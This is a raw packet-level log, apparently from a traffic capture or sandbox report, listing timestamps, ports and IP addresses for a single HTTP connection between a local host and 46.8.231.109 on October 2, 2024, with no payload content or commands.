Oct 2, 2024 17:17:21.840889931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840899944 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840912104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840923071 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.840951920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841125965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841142893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841154099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841162920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841166019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841178894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841188908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841190100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841214895 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841232061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841346979 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841358900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841368914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841392040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841418028 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841485023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841495991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841506004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841516972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841526985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841537952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841541052 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841555119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841558933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841567039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841573000 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841586113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841590881 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841598034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841609955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841619015 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841622114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841634035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841644049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841645956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841655970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841671944 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841685057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841696978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841702938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841702938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841712952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841716051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841732979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841747999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841888905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841901064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841911077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841922045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841927052 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841933966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841943026 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841952085 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841964006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841974974 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.841979027 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841986895 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.841991901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842003107 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842014074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842014074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842025995 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842036009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842040062 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842047930 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842056990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842057943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842070103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842072964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842082024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842093945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842103958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842103958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842117071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842128038 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842132092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842140913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842149019 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842152119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842164040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842164993 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842175961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842186928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842192888 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842200994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.842221022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.842236042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.923739910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923758984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923770905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923782110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923794031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923804045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923815966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923815012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.923846960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.923866987 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.923882961 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.924293041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924304008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924314976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924331903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.924349070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.924372911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924384117 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924393892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924403906 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924406052 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.924436092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.924463034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.924495935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928544998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928561926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928575039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928585052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928596020 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928595066 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928668976 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928695917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928708076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928745985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928874969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928885937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928896904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928930044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928939104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928949118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928961039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.928966999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928966999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.928981066 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.929006100 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.929025888 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929037094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929053068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929063082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929064989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.929075956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929088116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929091930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.929101944 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.929125071 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.929141045 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934319019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934345961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934359074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934369087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934381008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934391022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934393883 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934405088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934416056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934427977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934438944 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934448004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934451103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934464931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934472084 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934478998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934489012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934490919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.934516907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.934542894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936078072 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936089993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936101913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936130047 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936161041 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936192036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936203957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936214924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936225891 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936237097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936239004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936248064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936259985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936281919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936281919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936305046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936307907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936317921 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936330080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936336994 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936341047 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936353922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936355114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936366081 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936373949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936402082 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936408997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936427116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936438084 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936440945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936450005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936465979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936481953 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936580896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936593056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936604023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936614990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936625004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936625957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936636925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936645031 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936650038 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936661005 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936703920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936733961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936744928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936755896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936765909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936775923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936779022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936786890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936795950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936820030 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936837912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936847925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936858892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936870098 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936880112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936885118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936892033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936903000 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936903000 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936913967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936924934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936929941 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936935902 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936949015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.936952114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936966896 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.936984062 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937134981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937145948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937158108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937167883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937170029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937181950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937186003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937215090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937295914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937311888 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937324047 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937334061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937344074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937355042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937365055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937371016 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937376022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937388897 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937396049 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937400103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937412024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937418938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937422991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937437057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937444925 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937448978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.937463999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.937480927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012748957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012819052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012825012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012856007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012866020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012892962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012897968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012927055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012933016 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012959957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.012964010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.012996912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013003111 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013034105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013035059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013073921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013267040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013312101 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013319016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013354063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013370991 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013386965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013417006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013421059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013443947 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013457060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013464928 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013494968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013499022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013526917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.013536930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.013567924 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017350912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017362118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017381907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017391920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017396927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017405033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017416954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017429113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017432928 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017478943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017498016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017508984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017519951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017529964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017540932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017544985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017564058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017582893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017658949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017671108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017682076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017692089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017702103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017708063 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017713070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017724991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017735004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017745018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017748117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017756939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.017769098 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.017790079 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.022773027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022799969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.022814989 CEST	80	65273	46.8.231.109	192.168.2.6
